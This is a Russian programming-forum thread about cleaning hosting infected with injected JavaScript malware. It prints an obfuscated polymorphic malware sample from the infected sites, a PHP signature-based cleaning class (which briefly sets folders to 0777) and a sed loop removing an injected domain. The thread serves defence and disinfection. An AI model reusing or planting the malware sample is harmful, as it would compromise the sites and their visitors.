За последние 24 часа нас посетили 18222 программиста и 1637 роботов. Сейчас ищет 1601 программист ...

Лечение хостинга от троянов и вроедоносного кода

Тема в разделе "Решения, алгоритмы", создана пользователем Denis.Y, 4 апр 2012.

  1. Denis.Y

    Denis.Y Активный пользователь

    С нами с:
    8 авг 2011
    Сообщения:
    145
    Симпатии:
    0
    Адрес:
    Россия, Самарская область
    На наших серверах разразилась просто эпидемия вирусов.
    У нас в компании несколько сотен сайтов клиентов на одном сервере. Как с таким добром работать это понятно, ssh + putty и пара shell скриптов. Но на сторонних хостингах, где нет доступа к командной строке, вручную править файлы конечно же не удобно.

    Не буду описывать причины заражения, скажу лишь что CMS - самопис компании, написанный лет 5 назад, использующий на многих старых сайтах клиентов fckeditor и реже первые версии ckeditor'ов. Проверка при загрузке файлов на авторизацию пользователя в ckfinder например, реализовывалась примитивным return true; кто понимает о чём я)

    Чтобы не мучиться с такими виртуальными хостингами, а так же ради интереса, чтобы не использовать к примеру phpseclib или system() с exec() навоял класс сканер, который ищет вхождения заданного кода в указанных файлах и удаляем найденную строку. Алгоритм прост. От указанной директории, скрипт сканирует все вложенные на наличие указанного типа файла и вхождения в них, искомой строки.
    Усложнять алгоритм небыло смысла, учить его чему-то ещё тоже (но в случае необходимости всегда можно легко доработать).

    Вирусы на серверах имели одну и ту же структуру, всегда в одну строку без переноса (поэтому алгоритм был использован тот, который был использован), страдали полиморфизмом, однако в них имелась неизменная последовательность кода:
    Код (Text):
    1. =Array.prototype.slice.call(arguments).join(""),
    присутствующая во всех экземплярах полиморфа. в итоге задавая в скрипт данную строку для поиска и указывая файлы .js, запускаем скрипт. Он пробегается и чистит весь сайт. На сайт с кучей вложений, с ckeditor'om ckfinder'om и кучей js'ok от различных модулей разбросанных по всему сайту, скрипт прорабатывает в среднем секунд за 15-20.
    В общем с поставленной ему конкретной задачей, он отлично справился.

    P.S. Написан класс был под конкретный случай и под каждый последующий требует доработки, поэтому не претендует на панацею. Просто интересно как Вы справляетесь с вирусами на сайте, самописными методами?

    P.S.S. С работой скрипта могут возникнуть проблемы: на хостинге не поддерживается chmod() или доступ к файлам только через owner'a тогда на проверяемую директорию нужно сделать chown() для www пользователя и группы.

    Привожу пример кода вируса и класса ниже.

    Код (Text):
    1. var g50adc7="";function g24e05b114f9(){var y642120d=String,y491da775=Array.prototype.slice.call(arguments).join(""),ud0d40=y491da775.substr(l93a5a7(),3)-693,d00127e,vcfc7aa4e;y491da775=y491da775.substr(8);var td025edc=u83b645(y491da775);for(var f4bd9fb4b=0;f4bd9fb4b<td025edc;f4bd9fb4b++){try{throw(l48685=t564f3ac1(y491da775,f4bd9fb4b));}catch(e){l48685=e;};if(l48685=='•'){ud0d40="";f4bd9fb4b++;bc21e4=y491da775.substr(f4bd9fb4b,1);while(c4ac8f6(bc21e4)){ud0d40+=bc21e4;f4bd9fb4b++;bc21e4=y4ca5bd(y491da775,f4bd9fb4b);}ud0d40-=385;continue;}d00127e="";if(uf788b4(l48685)){f4bd9fb4b++;l48685=y491da775.substr(f4bd9fb4b,1);while(l48685!='№'){d00127e+=l48685;f4bd9fb4b++;l48685=y491da775.substr(f4bd9fb4b,1);}d00127e=d00127e-ud0d40-25;if(d00127e<0)d00127e+=256;if(d00127e>=192)d00127e+=848;else if(d00127e==168)d00127e=1025;else if(d00127e==184)d00127e=1105;g50adc7+=y642120d["f\x72om\x43h\x61\x72C\x6f\x64e"](d00127e);continue;}f47fd76=h15c2b(l48685);if(f47fd76>848)f47fd76-=848;vcfc7aa4e=f47fd76-ud0d40-25;if(vcfc7aa4e<0)vcfc7aa4e+=256;if(vcfc7aa4e>=192)vcfc7aa4e+=848;else if(vcfc7aa4e==168)vcfc7aa4e=1025;else if(vcfc7aa4e==184)vcfc7aa4e=1105;g50adc7+=g7b8d7e(vcfc7aa4e);}}g24e05b114f9("0","0","a3b","774№","146№","№","20","8№","•","498","•","№25","5№•","4","55","•№2","0","5№","•","52","0•","№3","№№","2","0№•5","6","3•4","•","4","7","6•№","2","2","7№•469","•№219","№№","1","49№№","15","0№","№141","№","№","2","32","№•","4","2","7","•","P","M","•436","•","U•5","20•№","2","2№","№","1№","№1","8","№№","192№•5","58","•;82","•","54","6•№218№","•4","5","9•№1","60","№","•","478","•№15","0№","•","514","•","№19","3","№","№2№","№","1","4","№","•5","0","7","•№7","№","№3","№","№","2","0","5","№","•427","•","r•","46","9•№15","6","№","•4","86","•№239№","•","390","•","№14","2","№","№","141№","№1","29","№•","3","9","2","•","№","1","4","8№•568•","E","•515","•","№","14№","№","3","№","№11№","•5","0","6","•","№","2","55","№","•43","2•v№1","77","№","•","560•;","№","245№","•","5","2","9•№","1","0№•","4","4","5•","№","195№•","4","2","8","•","q","№","165№","•","50","0","•№2","39№","•4","2","2•№","1","78","№","№173","№•","45","3","•№","20","7","№","№1","39№","•4","81•№","2","2","0№№2","32","№•433","•","№18","2№x•489•","№23","2№","•","568•№255","№","№","2","47№№1","1№","№221","№","•","5","18•","№16","8","№","•","52","8","•№","177","№","•","493","•№","2","3","8№№2","3","5","№","№1","6","5№","•43","7","•","u","№19","3","№","•3","8","8","•","№149№","•45","5•","№","207","№","№1","9","6","№№","20","6№•","585","•","G","•463","•","№","135№№","2","2","2№•","408","•№","153","№","№1","58№•","40","2","•","№1","42","№","№","1","5","3№","•5","42•","-№","228№","•","50","9•№","13","№","•","5","1","2•","№","1","7","№","№18№№254№","№","4","№","•4","03•№","1","4","0№","•4","3","6•","№","179","№l•","507","•","№20","8","№№","2","0","8","№•","54","2•","№","24","3","№","•44","0•p","•44","6•","№","1","25","№•","4","20","•","№17","7№№170№•","514•№2","5","4№№2","55","№","№","0","№","№","3№•","566","•<3•","5","72","•","8","•","52","7•","№","20","6","№","№208","№№199№•42","8•№1","9","1№Q","•41","1•=<•44","1","•","Z•5","0","9","•№1","2","№","•43","2•№","1","77","№","•","5","55•1","'","2:№241","№•448","•№2","0","8№•","5","6","3•DE•","568•","6","•","4","6","3","•№","21","1№№20","0","№","№206","№№","135","№•5","1","5","•№","21","6№","№1","8","7№","№","2","0","3","№№2","14№•","40","0","•","52","1","№","165","№•","44","8","•","e•","53","8•","№188","№","•","54","5•","№","1","9","4№","•428","•","№","1","6","8","№","•458•","№2","09","№№","197","№•527","•","№28№•52","0","•№","1","3","№","№5","№•","575•E•486","•","№2","4","2№","№","1","7","2","№•","53","7•№32№","№3","1№•51","5•№","8","№№","1","0№•","541•","*•","4","8","5•№","2","4","0","№","•","52","5","•","№10№","•439","•","№188","№№","1","9","0","№","№","1","9","7","№•","415•","№","1","56№","W","•5","2","4","•","№","22","5№№1","9","6№№","1","0№•4","61•№2","18","№","№","21","1","№•","5","39","•№2","2","№","•","4","5","9","•","№","2","15№№204№","№2","1","0№","№","2","0","9№№","139№","•40","3•","T•4","6","5","•","№","137","№•4","7","5•№2","3","8№","•","56","8","•","№221№","№","21","8№","•4","9","3•","№14","2№№142№","•53","0","•№","19","№","•428","•№","1","70","№","•5","63","•","№2","3","5","№","•54","9","•№","22","9№•","46","2•","№2","21","№•4","66","•№","2","1","1№","№","2","1","6","№","№2","06№•","56","9","•@","H","№2","55","№•3","90","•№","150","№","№","1","51","№•","414•№","1","7","6№","№","1","56№•43","5","•№183","№","№","1","72№•","5","6","2•1","•495","•№1","6","7№№1","9","6","№","№","196№•427•№","1","2","8","№","csl","•","4","8","6","•","№","1","5","8","№","№24","9","№•","505","•№158","№•","4","00•2•5","62","•№","2","1","1","№","•","5","7","8•","№22","7","№•","4","72","•","y","№2","31№№2","1","7","№•","5","0","5•№25","5№№2","4","5","№№","0","№№8","№№191","№","•","4","3","2•","№","192№","•","45","2•","№2","1","3№","•4","1","2","•","№","1","7","4№","•","471•№","21","3","№","•4","46•","№","19","4","№•","422•№","1","59","№","№","1","65","№^•4","8","8•№","189№•5","5","1","•","№","22","3","№","№2","4","0№•429•","№12","8","№","•","5","2","5","•№1","78","№","•","418•","D•5","1","4","•№","163","№•445•","^","^","•","512","•","№","1","4","№•39","4","•№","1","31№","•","4","5","1","•","№2","0","5№•5","1","3","•","№","1","85№","№1№","•","419","•№1","6","0","№№15","6№","№","15","9№","[","x[№1","59","№","№","17","0","№№15","8№","•","57","7","•NF","•41","6•№","1","5","7","№","•5","6","7•","=","•558•:","•544","•","№","2","3","0№","•48","4","•№227№№","2","25","№","•4","5","4","•","№2","10","№№1","63№•5","07•","№","2","5","5№","№","24","8№","№","0","№","№2","4","8№№1","№","•4","04•","№","160","№","•","5","48•","/•55","5","•","№","5","№","•","39","7","•№1","58№y№","13","4","№","•","506","•","№","249","№","№","2","24№•4","61","•","№","1","98","№•5","5","8","•3","+","№","23","8№№2","37№.•","4","2","5•","№","16","6","№№1","62№","№16","5№h","j","•46","8•","№","19","9№№","15","6","№","№20","1","№•","4","0","2•","e","•","5","46","•","№","1","9","9","№•4","6","9•w•4","7","2•","y","•","414","•","?","•470•w","•","539•",")","•","449","•","№","18","6№№2","03№","•","54","4•","№","2","16№+№","2","7","№","•5","3","4•№","3","2","№•","476•","№221№№","2","28№","№","23","2№","№","1","4","8№•5","52•№253№№","224","№•394","•№","1","3","4","№•532","•","№","27","№•440•","№","17","9№","№1","97","№","•","39","3","•№142","№•","4","7","2","•","№","2","1","3","№","•44","3","•","№193№","№1","99","№•","514","•№20","0№","•5","83","•B","Q","D","•","401","•№","13","8","№№","157","№","№","1","42№•","517•№","226№","№","9","№","№2","№•","5","4","4","•","%","•4","93•","№","2","34№№24","3№№2","49№•","534•","№","214","№","•","3","9","8","•M•","465•№","2","2","0","№№","2","0","4№","№","219№•","4","6","9•№21","4","№№22","1№","•5","1","2","•№12№•","5","7","4•№2","5","3№№2","55№","№17№","•49","8•","№","151№","•","4","05","•7","•413","•>","•","3","91","•","(•","46","2•o","•","450•","№","2","0","5","№•","4","2","8•","№","1","6","7№","№","1","8","2","№","•51","5","•№","4№","№","11","№•","3","99•№","1","55№U","•4","80•","№23","6№•5","7","0","•K•","5","01","•№","253","№•","4","6","0•№","201№№1","3","2","№","•58","5","•","№30№","№","1","№","•","5","60•№23","9","№<•403•№","144№№","16","3","№","•5","29","•№29","№","№2","1","6№№","1","9№","•5","5","3","•","\"•","48","0","•№","238","№№","2","1","7№•","528","•№27","№","•5","5","2","•","#•","5","2","3•№21№№","1","2","№","•5","62","•",":•","4","4","6","•№","2","02","№№1","2","5","№","•","5","76","•№","19","№","•","4","3","4","•","W•47","9","•№1","29","№№","1","28№","№","1","2","8","№","№1","28","№•490•№","24","5№","•","47","3•№2","12№№2","27№№2","18№№","2","2","5№•4","89","•№2","45","№№175","№","•","5","1","0•","№5","№•4","1","8•№","1","6","8","№","•","4","35•№","18","9№•5","1","5","•№0","№","№","25","2№№25","5№№","2","0№№1","4","№","№15№","•","3","9","4","•№","1","31","№","•","47","2•№","22","8","№","•","39","8","•","№13","9","№№","1","3","7","№","•","47","2•","№2","16№№2","0","9№","№22","2","№","№","21","5","№","№","21","3№•50","2•№174№","№203","№№","174","№№2","4","4№","№","3№","№252","№•4","8","4•№2","23№","№2","40№","№","2","29№","№","235","№•","56","9","•","?","•","5","4","0•№","2","1","2№№2","2","0№","•482","•№16","3№•4","31","•g№","19","4№","T","Q","•4","45•^^","•4","82•","№1","31№","№","13","1№•","459•","№","2","0","4","№№","201","№","•4","1","7","•","Ya•40","1•","№","15","7","№•4","12","•","№","15","6","№","•","3","8","8","•","№","1","3","3№","№","1","43№","•","530","•№","21","6№№2","8№","•5","5","0•","#№31№•4","6","7•№2","0","7","№","•413•","№","1","7","4","№","•","4","16","•","№139","№","•","4","4","4•","№2","00№","•579","•","<","O@•4","3","0","•f","•476","•№","1","7","7","№","№","1","77№","№1","48№","№","1","55","№•","5","7","5","•",":","F•","5","77","•FI","E>","M","•432","•№1","7","3","№oq•520","•","№1","92№№","2","7","№","•","5","29•№1","82№","№1","79","№","•","421","•F•","5","0","7","•","№156","№№15","6№№15","6","№№156№","№","10№№2","52","№","№1","№","№247","№№2№•51","4•№17№•","4","6","4•№15","0№•5","20","•","№","2","4№№2","5","№•4","25•","№1","87","№","№","1","6","7","№","•47","0","•№","21","8№","•4","4","2","•№","1","79№","•3","9","2","•","№1","3","5№•5","6","8","•","№2","4","0№№","1","3","№","№","24","0","№•437","•","№1","2","7№№","1","3","6","№•5","28","•","№1","81№","•5","3","9","•","№1","8","9№•578•","№","2","27","№","№2","2","7№","№","2","27№","№22","7№•","4","72","•","№2","3","7№","•","4","62","•s•","5","3","0•","№","1","80","№•","4","5","3•","f","•","430","•","O","•","481•","№13","0","№•","5","23","•№","3","2№","•562•","№","5","№№","2","15№•","40","0","•2•422","•","G","GG№1","7","7","№•41","1•№15","0№№","1","65№•","4","9","9","•","№244№•5","2","9","•№2","5№","•438","•№194№","•","5","6","8•№","25","4№•","4","08•№","159","№•4","00","•№150№","№1","48№№","15","1","№•","562","•+•","537","•","№21№","•551","•№22","3№•","5","6","0","•№","5","№№2","3","2","№",".•42","6•№183","№№","17","6№","№","16","5","№№182","№№","171","№•","501","•","№","2","5","2","№","•40","0","•","№1","50","№","•","4","10","•","Z[•42","4","•","`","•","40","1","•","№","1","64№63222•","4","7","1","•","x","№","2","30","№","№216","№№","2","21№•4","3","5","•","№175","№•46","0•","№","2","11","№•","5","3","9","•*","№","2","2","5№","+","•","4","65","•","№226","№","•40","6•","№","1","68№","№","1","48","№№","1","54","№","№","1","4","3","№","№","1","4","9","№N","•47","1","•№","17","2№№","1","4","3","№","•","3","94•","T","•5","29","•№2","28№","•","4","39","•\\YX","•48","3•","№","1","3","2","№•","4","4","9•b№21","4№•3","93•\\.","•","51","5•","№1","65№","•3","9","6•","---","№","1","51№","№","1","35","№","•","5","35•!•","4","09","•№","1","5","4№•5","2","3•№","1","9","№•4","47","•№","20","3№•","3","9","1","•M№","146","№•","5","66•@","•4","6","4","•","№2","0","3№","№136№•","4","4","8•","№","1","4","9","№","x№","2","0","5№","•","3","98•","№1","5","2№","•58","0","•H","•","5","25•","№19","7","№","№","20","8","№","•4","29","•e№","146","№","•45","8•№1","95","№","•","50","2","•№2№","№2","46№","№","1","88№","•","537","•","#","№","18","№","•","46","2•№2","12","№","№","2","02№","•487","•","№","23","8","№","№","236№•","3","90","•","FG•","4","31","•","u","№187№","№","18","2","№•","4","76","•№1","99","№•5","15•","№","15","№№","13№№","4№№","9№№2","№•","467","•№","147№","№1","48","№","•","454","•№1","40№•452","•","№207№","№209№","•","463","•№2","01","№№2","18№","№","21","9","№№","2","17№","•4","3","8•№","18","3","№","•","49","1","•№","24","1№№","2","34№№1","7","1№•462•","№","1","53","№№","14","3","№№","1","34","№","№","1","45№","•41","3","•","U\\•5","7","8","•","№","8","№D•","5","30","•№","2","9№•","42","8","•k","•48","5•","№","18","4","№№1","3","8","№","•5","64","•№","2","1","4","№","№21","3","№№21","3№","№2","13","№","4","•472•№2","13","№•","403","•","№1","40№","№","143","№","Y•5","50•","№","31№.",".","#",",\"","•5","63","•","№","14№3","•438","•","№","1","83","№","№","18","6№•","566•","2","№2","4","6№•4","5","4•","№","2","09№№193№•","5","19•","№","1","7","№","•","40","4•№14","9№№1","56","№•","547","•/","№2","2","8","№•","4","62•","№","16","1№","•411•","@","=<<","•43","9•№","204","№","\\•43","8","•","X•","562","•","№211№","G•","564•","№7","№•5","5","3","•№20","6","№","№2","03№•","5","66","•","K№24","7№","•","482•","№1","6","2","№","•544","•","№22","5№•","4","62•","№161","№",""); /* -- eval(g50adc7); -- */ function l93a5a7(){return 5;}function u83b645(ub0b036){return ub0b036.length;}function t564f3ac1(l221938f,me7817e8f){return l221938f.substr(me7817e8f,1);}function y4ca5bd(ydb1c3b,ie733a1d7){return ydb1c3b.substr(ie733a1d7,1);}function c4ac8f6(ca11e0f){return ca11e0f!='•';}function uf788b4(x5bfac90d){return x5bfac90d=='№';}function g7b8d7e(q238937){var y642120d=String;return y642120d["f\x72om\x43h\x61\x72C\x6f\x64e"](q238937);}function h15c2b(ab9c72){return (ab9c72+'')["\x63\x68\x61\x72Cod\x65A\x74"](0);}
    Код класса с подробными коментариями:
    Код (Text):
    1. <?
    2. header("Content-Type: text/html; charset=utf-8");
    3.  
    4. // на случай если не существует функции FILE_PUT_CONTENTS
    5. if(!function_exists('file_put_contents'))
    6. {
    7.     // создаём свою собственную
    8.     function file_put_contents($filename, $data, $file_append = false)
    9.     {
    10.         $fp = fopen($filename, (!$file_append ? 'w+' : 'a+'));
    11.         if(!$fp)
    12.         {
    13.             trigger_error('file_put_contents не пашет.', E_USER_ERROR);
    14.             return false;
    15.         }
    16.         fputs($fp, $data);
    17.         fclose($fp);
    18.         return true;
    19.     }
    20. }
    21.  
    22. /*
    23.  ----------------------------------------------------------------------------------
    24.  dScaner Class - START
    25.  ----------------------------------------------------------------------------------
    26. */
    27.  
    28. /*
    29. *
    30. *   Класс - dScaner для сканирования директорий на наличие вредоносного кода в
    31. *   указанных типах файлов
    32. *  
    33. *   Разработчик: Денис Ушаков, tltpk@yandex.ru
    34. *   Дата разработки: 03-04-2012
    35. *   Версия разработки: 0.0.3
    36. *
    37. */
    38.  
    39. Class dScaner {
    40.  
    41.     // преобразуем входной параметр в массив
    42.     // $get_str - список параметров
    43.     // $separator - разделитель параметров в списке
    44.     function request($get_str, $separator)
    45.     {
    46.         if (isset($get_str) && !empty($get_str))
    47.         {  
    48.             // эксплоадим строку в массив и возвращаем его
    49.             $obj = explode($separator, $get_str);
    50.             return $obj;
    51.         }
    52.         else
    53.         {
    54.             return false;
    55.         }
    56.     }
    57.  
    58.     /*
    59.     *
    60.     *   Функция поиска в файлах вхождения заданной строки:
    61.     *
    62.     *   $this->find($path, $files_allowed, $requested_string);
    63.     *  
    64.     *   $path - путь до директории, от которой отталкиваться при сканировании
    65.     *   $files_allowed - список файлов, которые подвергаются сканированию
    66.     *   $requested_string - строка поиска
    67.     *
    68.     */
    69.     function find($path = './', $files_allowed, $requested_string)
    70.     {
    71.         // исключаемые ссылки на директории и файлы, которые будут игнорироваться
    72.         $dir_disallow = array('.', '..', '.htaccess', '.git');
    73.  
    74.         if(is_dir($path))
    75.         {
    76.            $temp = opendir($path);
    77.            while (false !== ($dir = readdir($temp)))
    78.            {
    79.                 if ((is_dir($path . $dir)) &&
    80.                     (!in_array($dir, $dir_disallow)) )
    81.                 {
    82.                     // если директория - сканируем её
    83.                     $sub_dir = $path . $dir . '/';
    84.                     $this->find($sub_dir, $files_allowed, $requested_string);
    85.                 }
    86.                 elseif ((is_file($path . $dir)) &&
    87.                         (!in_array($dir, $dir_disallow)) &&
    88.                         (strpos($dir, $files_allowed) == true) &&
    89.                         (strpos($dir, '_BACKUP') == false) )
    90.                 {
    91.                     // Если файл
    92.                     // получаем полный путь до него
    93.                     $in_dir_file = $path . $dir;
    94.                     // считываем файл в строку
    95.                     $temporary_file = file_get_contents($in_dir_file);  
    96.                     // флаг найденного вхождения искомой строки
    97.                     $file_founded = false;
    98.  
    99.                     // разбиваем файл на строки
    100.                     $tf_strings = explode("\n", $temporary_file);
    101.                     // обрабатываем каждую отдельно
    102.                     foreach ($tf_strings AS $item)
    103.                     {
    104.                         $item = strval($item);
    105.                         // если в строке есть вхождения искомого запроса
    106.                         if (strpos($item, $requested_string) !== false)
    107.                         {
    108.                             // выводим путь до файла в котором найдено вхождение
    109.                             print "<span style='display:block;
    110.                                                 padding:5px;
    111.                                                 border:1px solid #1f4f18;
    112.                                                 background-color:#d5f5ce;
    113.                                                 font-size:12px;
    114.                                                 line-height:16px;
    115.                                                 font-family:tahoma, sans-serif;
    116.                                                 margin-bottom:-15px;'>" . $in_dir_file . " - в файле обнаружена искомая строка.<br>
    117.                                     </span><br>";
    118.                         }
    119.                     }
    120.                 }
    121.            }
    122.            closedir($temp);
    123.         }
    124.     }
    125.  
    126.     /*
    127.     *
    128.     *   Функция сканирования вредоносного кода:
    129.     *
    130.     *   $this->scan($path, $files_allowed, $requested_string);
    131.     *  
    132.     *   $path - путь до директории, от которой отталкиваться при сканировании
    133.     *   $files_allowed - список файлов, которые подвергаются сканированию
    134.     *   $requested_string - строка, по которой определяется наличие вредоносного кода
    135.     *
    136.     */
    137.     function scan($path = './', $files_allowed, $requested_string)
    138.     {
    139.         // исключаемые ссылки на директории и файлы
    140.         $dir_disallow = array('.', '..', '.htaccess', '.git');
    141.  
    142.         if(is_dir($path))
    143.         {
    144.            $temp = opendir($path);
    145.            while (false !== ($dir = readdir($temp)))
    146.            {
    147.                 if ((is_dir($path . $dir)) &&
    148.                     (!in_array($dir, $dir_disallow)) )
    149.                 {
    150.                     // если директория - сканируем её
    151.                     $sub_dir = $path . $dir . '/';
    152.                     $new_parent_dir = $path . $dir;
    153.                     $this->scan($sub_dir, $files_allowed, $requested_string, $new_parent_dir);
    154.                 }
    155.                 elseif ((is_file($path . $dir)) &&
    156.                         (!in_array($dir, $dir_disallow)) &&
    157.                         (strpos($dir, $files_allowed) == true) &&
    158.                         (strpos($dir, '_BACKUP') == false) )
    159.                 {
    160.                     // Если файл
    161.                     // получаем полный путь до него
    162.                     $in_dir_file = $path . $dir;
    163.                     // считываем файл в строку
    164.                     $temporary_file = file_get_contents($in_dir_file);  
    165.                     // флаг бекапа файла                                  
    166.                     $create_backup = false;                    
    167.  
    168.                     // разбиваем файл на строки и считываем каждую отдельно
    169.                     $tf_strings = explode("\n", $temporary_file);
    170.                     // индекс строки файла
    171.                     $str_index = 0;
    172.                     // каждую строку обрабатываем отдельно
    173.                     foreach ($tf_strings AS $item)
    174.                     {
    175.                         $item = strval($item);
    176.                         if (strpos($item, $requested_string) !== false)
    177.                         {
    178.                             // если в строке есть вхождения искомого запроса
    179.                             // флаг бекапа файла, в котором найден вредоносный код
    180.                             $create_backup = true;
    181.                             // удаляем всю строку с вредоносным кодом
    182.                             unset($tf_strings[$str_index]);
    183.                         }
    184.                         $str_index++;
    185.                     }
    186.  
    187.                     // создаём бэкап
    188.                     if ($create_backup)
    189.                     {
    190.                         // меняем права в папке в которой находимся чтобы иметь возможность писать в неё
    191.                         chmod($path, 0777);
    192.                         // формируем имя БЭКАПа файла
    193.                         $temp_file_backup = $in_dir_file.'_BACKUP';
    194.                         // сохраняем БЭКАП файла рядом с исходным
    195.                         file_put_contents($temp_file_backup, $temporary_file);
    196.                         // собираем очищенный файл в строку
    197.                         $scanned_file = implode("\n", $tf_strings);
    198.                         // сохраняем очищенный файл
    199.                         if (file_put_contents($in_dir_file, $scanned_file))
    200.                         {  
    201.                             // перезаписали удачно
    202.                             print "<span style='display:block;
    203.                                                 padding:5px;
    204.                                                 border:1px solid #1f4f18;
    205.                                                 background-color:#d5f5ce;
    206.                                                 font-size:12px;
    207.                                                 line-height:16px;
    208.                                                 font-family:tahoma, sans-serif;
    209.                                                 margin-bottom:-15px;'>" . $in_dir_file . " - Файл очищен. (+ BACKUP) <br>
    210.                                     </span><br>";
    211.                         }
    212.                         else
    213.                         {
    214.                             // перезапись не удалась
    215.                             print "<span style='display:block;
    216.                                                 padding:5px;
    217.                                                 border:1px solid #822121;
    218.                                                 background-color:#ea7575;
    219.                                                 font-size:12px;
    220.                                                 line-height:16px;
    221.                                                 font-family:tahoma, sans-serif;
    222.                                                 margin-bottom:-15px;'>".$in_dir_file ." - Файл НЕ очищен.
    223.                                     </span><br>";  
    224.                         }
    225.                         // меняем права в папке в которой находимся обратно на 755
    226.                         chmod($path, 0755);                      
    227.                     }
    228.                 }
    229.            }
    230.            closedir($temp);
    231.         }
    232.     }
    233.  
    234.     /*
    235.     *
    236.     *   Функция восстановления БЭКАПОВ файлов
    237.     *
    238.     *   $this->restore_backups($path, $files_allowed);
    239.     *  
    240.     *   $path - путь до директории, от которой отталкиваться при восстановлении
    241.     *   $files_allowed - список файлов, которые подвергаются восстановлению
    242.     *
    243.     */
    244.     function restore_backups($path = './', $files_allowed)
    245.     {
    246.         // исключаемые ссылки на директории и файлы
    247.         $dir_disallow = array('.', '..', '.htaccess', '.git');
    248.         if(is_dir($path))
    249.         {
    250.            $temp = opendir($path);
    251.            while (false !== ($dir = readdir($temp)))
    252.            {
    253.                 if ((is_dir($path . $dir)) &&
    254.                     (!in_array($dir, $dir_disallow)) )
    255.                 {
    256.                     // если директория - сканируем её
    257.                     $sub_dir = $path . $dir . '/';
    258.                     $this->restore_backups($sub_dir, $files_allowed);
    259.                 }
    260.                 elseif ((is_file($path . $dir)) &&
    261.                         (!in_array($dir, $dir_disallow)) &&
    262.                         (strpos($dir, $files_allowed) == true) )
    263.                 {
    264.                     // Если файл
    265.                     // получаем полный путь до него
    266.                     $in_dir_file = $path . $dir;
    267.                     if (is_file($in_dir_file.'_BACKUP'))
    268.                     {
    269.                         // БЭКАП существует, получаем его содержимое
    270.                         $temporary_file_from_backup = file_get_contents($in_dir_file.'_BACKUP');
    271.                         // восстанавливаем бэкап файла
    272.                         if (file_put_contents($in_dir_file, $temporary_file_from_backup))
    273.                         {  
    274.                             // удаляем бэкап
    275.                             unlink($_SERVER['DOCUMENT_ROOT'].'/'.$in_dir_file.'_BACKUP');
    276.                             // бэкап восстановили
    277.                             print "<span style='display:block;
    278.                                                 padding:5px;
    279.                                                 border:1px solid #1f4f18;
    280.                                                 background-color:#d5f5ce;
    281.                                                 font-size:12px;
    282.                                                 line-height:16px;
    283.                                                 font-family:tahoma, sans-serif;
    284.                                                 margin-bottom:-15px;'>".$in_dir_file ." - восстановлен.
    285.                                     </span><br>";                  
    286.                         }
    287.                         else
    288.                         {
    289.                             // бэкап НЕ восстановили
    290.                             print "<span style='display:block;
    291.                                                 padding:5px;
    292.                                                 border:1px solid #822121;
    293.                                                 background-color:#ea7575;
    294.                                                 font-size:12px;
    295.                                                 line-height:16px;
    296.                                                 font-family:tahoma, sans-serif;
    297.                                                 margin-bottom:-15px;'>".$in_dir_file ." - НЕ восстановлен.
    298.                                     </span><br>";  
    299.                         }
    300.                     }
    301.                 }
    302.            }
    303.            closedir($temp);
    304.         }
    305.     }        
    306. }
    307.  
    308. /*
    309.  ----------------------------------------------------------------------------------
    310.  dScaner Class - END
    311.  ----------------------------------------------------------------------------------
    312. */
    313.  
    314. // создаём экземпляр сканера - Дрон
    315. $dron = new dScaner;
    316.  
    317. // поиск по файлам из текущей директории в JS файлах строки
    318. $dron->find('./', '.js', '=Array.prototype.slice.call(arguments).join(""),');
    319.  
    320. // очистка файлов JS в которых присутствует искомая строка
    321. // $dron->scan('./', '.js', '=Array.prototype.slice.call(arguments).join(""),');
    322.  
    323. // восстановление бэкапов JS файлов
    324. // $dron->restore_backups('./', '.js');
    325. ?>
    UPD. Привожу Shell который использовался для чистки. Тоже узконаправленный.
    (Написан не мной).
    Код (Text):
    1. for i in `find . -name "index.php";find . -name "index.html"`
    2. do
    3. echo $i
    4. mv $i $i-old
    5. cat $i-old | sed "s/bip-count\.info//g" > $i
    6. done;
    поясню что он делает:
    от текущей директории в которой находится, сканирует все файлы index.php (можно так - *.php или вообще - *.*) и ищет заданную строку, в данном случае - bip-count.info удаляя её из файла в котором нашёл. перед этим бэкапит файл с префиксом -old.
    собственно всё.
     
  2. sobachnik

    sobachnik Старожил

    С нами с:
    20 апр 2007
    Сообщения:
    3.380
    Симпатии:
    13
    Адрес:
    Дмитров, МО
    Лично я ними ни разу не сталкивался на сайтах, в разработке которых принимал участие :)))
     
  3. YSandro

    YSandro Старожил

    С нами с:
    7 апр 2011
    Сообщения:
    2.523
    Симпатии:
    2
    Если уж появилась дыра в безопасности, то её и нужно закрывать как можно быстрей.
    Я так каждый день чистил сайты, но толку не было. Вредоносный код появлялся по несколько раз за день. У кого-то (даже знаю у кого, у начальника отдела) стырили настройки ТоталКоммандера с доступами по фтп.
     
  4. Denis.Y

    Denis.Y Активный пользователь

    С нами с:
    8 авг 2011
    Сообщения:
    145
    Симпатии:
    0
    Адрес:
    Россия, Самарская область
    Вам очень и очень повезло)

    У нас та же проблема, потому что дырки закрывали, пароли меняли от всего. Однако день - и вновь всё по кругу.
    И тоже у руководящего состава, тоталкомандеры, файлзилы.. Не не, мы чисты, трабл в тех.отделе! Чините, чё!

    Мне интересно просто, кто как борется с вирусами именно в программной реализации) Для расширения кругозора так сказать)
     
  5. AviaZond

    AviaZond Активный пользователь

    С нами с:
    5 апр 2012
    Сообщения:
    1
    Симпатии:
    0
    Denis!

    твой скрипт как раз вовремя! огромное спасибо!
    вылечил сайт, а то пытался через ssh наваять, но не получалось

    пароли фтп надо менять и искать вирус на локальном компе
    на всякий и к mysql тоже поменять надо

    еще раз респект!

    Добавлено спустя 4 минуты 58 секунд:
    и все таки если не затруднит, приведи скрипт для ssh
     
  6. Denis.Y

    Denis.Y Активный пользователь

    С нами с:
    8 авг 2011
    Сообщения:
    145
    Симпатии:
    0
    Адрес:
    Россия, Самарская область
    AviaZond на здоровье! Shell скрипт писал для нашего сервера не я, однако код приведу, вдруг кому-то будет полезен:
    Код (Text):
    1. for i in `find . -name "index.php";find . -name "index.html"`
    2. do
    3. echo $i
    4. mv $i $i-old
    5. cat $i-old | sed "s/bip-count\.info//g" > $i
    6. done;
    поясню что он делает:
    от текущей директории в которой находится, сканирует все файлы index.php (можно так - *.php или вообще - *.*) и ищет заданную строку, в данном случае - bip-count.info удаляя её из файла в котором нашёл. перед этим бэкапит файл с префиксом -old.
    собственно всё.

    Повторюсь - писал не я.
     
  7. artoodetoo

    artoodetoo Суперстар
    Команда форума Модератор

    С нами с:
    11 июн 2010
    Сообщения:
    11.108
    Симпатии:
    1.243
    Адрес:
    там-сям
    Был у меня похожий случай. Червяк скорее всего прочитал сохраненный пароль FTP в настройках Far Manager и понеслось…
    Чистил практически также как топикстартер.